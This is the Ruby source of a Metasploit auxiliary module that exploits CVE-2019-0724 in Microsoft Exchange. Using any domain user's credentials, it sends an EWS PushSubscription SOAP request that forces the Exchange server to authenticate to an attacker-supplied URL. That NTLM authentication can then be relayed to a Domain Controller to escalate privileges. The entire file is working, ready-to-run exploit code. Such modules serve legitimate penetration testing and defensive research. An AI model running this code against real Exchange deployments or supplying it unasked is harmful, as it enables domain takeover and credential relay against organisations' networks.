## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient def initialize super( 'Name' => 'Microsoft Exchange Privilege Escalation Exploit', 'Description' => %q{ This module exploits a privilege escalation vulnerability found in Microsoft Exchange - CVE-2019-0724 Execution of the module will force Exchange to authenticate to an arbitrary URL over HTTP via the Exchange PushSubscription feature. This allows us to relay the NTLM authentication to a Domain Controller and authenticate with the privileges that Exchange is configured. The module is based on the work by @_dirkjan, }, 'Author' => [ '_dirkjan', # Discovery and PoC 'Petros Koutroumpis' # Metasploit ], 'References' => [ [ 'CVE', '2019-0724' ], [ 'URL', 'https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/' ] ], 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 443 }, 'License' => MSF_LICENSE, 'DisclosureDate' => '2019-01-21' ) register_options( [ OptString.new('USERNAME', [ true, "Username of any domain user with a mailbox on Exchange"]), OptString.new('PASSWORD', [ true, "Password or password hash (in LM:NT format) of the user"]), OptString.new('DOMAIN', [ true, "The Active Directory domain name"]), OptString.new('TARGETURI', [ true, "Exchange Web Services API endpoint", "/EWS/Exchange.asmx" ]), OptString.new('EXCHANGE_VERSION', [ true, "Version of Exchange (2013|2016)", "2016" ]), OptString.new('ATTACKER_URL', [ true, "Attacker URL", nil ]) ]) end def run domain = datastore['DOMAIN'] uri = datastore['TARGETURI'] exchange_version = datastore['EXCHANGE_VERSION'] attacker_url = datastore['ATTACKER_URL'] req_data = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>" + "\r\n" req_data += "<soap:Envelope xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:t=\"http://schemas.microsoft.com/exchange/services/2006/types\" xmlns:m=\"http://schemas.microsoft.com/exchange/services/2006/messages\">" + "\r\n" req_data += "<soap:Header>" + "\r\n" req_data += "<t:RequestServerVersion Version=\"Exchange"+exchange_version+"\" />" + "\r\n" req_data += "</soap:Header>" + "\r\n" req_data += "<soap:Body>" + "\r\n" req_data += "<m:Subscribe>" + "\r\n" req_data += "<m:PushSubscriptionRequest SubscribeToAllFolders=\"true\">" + "\r\n" req_data += "<t:EventTypes>" + "\r\n" req_data += "<t:EventType>NewMailEvent</t:EventType>" + "\r\n" req_data += "<t:EventType>ModifiedEvent</t:EventType>" + "\r\n" req_data += "<t:EventType>MovedEvent</t:EventType>" + "\r\n" req_data += "</t:EventTypes>" + "\r\n" req_data += "<t:StatusFrequency>1</t:StatusFrequency>" + "\r\n" req_data += "<t:URL>"+attacker_url+"</t:URL>" + "\r\n" req_data += "</m:PushSubscriptionRequest>" + "\r\n" req_data += "</m:Subscribe>" + "\r\n" req_data += "</soap:Body>" + "\r\n" req_data += "</soap:Envelope>" + "\r\n" http = nil http = Rex::Proto::Http::Client.new( rhost, rport.to_i, {}, ssl, ssl_version, proxies, datastore['USERNAME'], datastore['PASSWORD'] ) http.set_config({ 'preferred_auth' => 'NTLM' }) http.set_config({ 'domain' => domain }) add_socket(http) req = http.request_raw({ 'uri' => uri, 'method' => 'POST', 'ctype' => 'text/xml; charset=utf-8', 'headers' => { 'Accept' => 'text/xml' }, 'data' => req_data }) begin res = http.send_recv(req) xml = res.get_xml_document http.close rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT, ::Rex::HostUnreachable print_error("Connection failed") rescue OpenSSL::SSL::SSLError, OpenSSL::Cipher::CipherError print_error "SSL negotiation failed" end if res.nil? fail_with(Failure::Unreachable, 'Connection failed') end if res.code == 401 fail_with(Failure::NoAccess, 'Server returned HTTP status 401 - Authentication failed') end if xml.nil? fail_with(Failure::UnexpectedReply, "Empty reply from server") end if res.code == 500 && xml.text.include?("ErrorInvalidServerVersion") fail_with(Failure::BadConfig, "Server does not accept this Exchange dialect. Specify a different Exchange version") end unless res.code == 200 fail_with(Failure::UnexpectedReply, "Server returned HTTP #{res.code}: #{xml.text}") end print_good("Exchange returned HTTP status 200 - Authentication was successful") if xml.text.include? "ErrorMissingEmailAddress" fail_with(Failure::BadConfig, "The user does not have a mailbox associated. Try a different user.") end unless xml.text.include? "NoError" fail_with(Failure::Unknown, "Unknown error. Response: #{xml.text}") end print_good("API call was successful") end end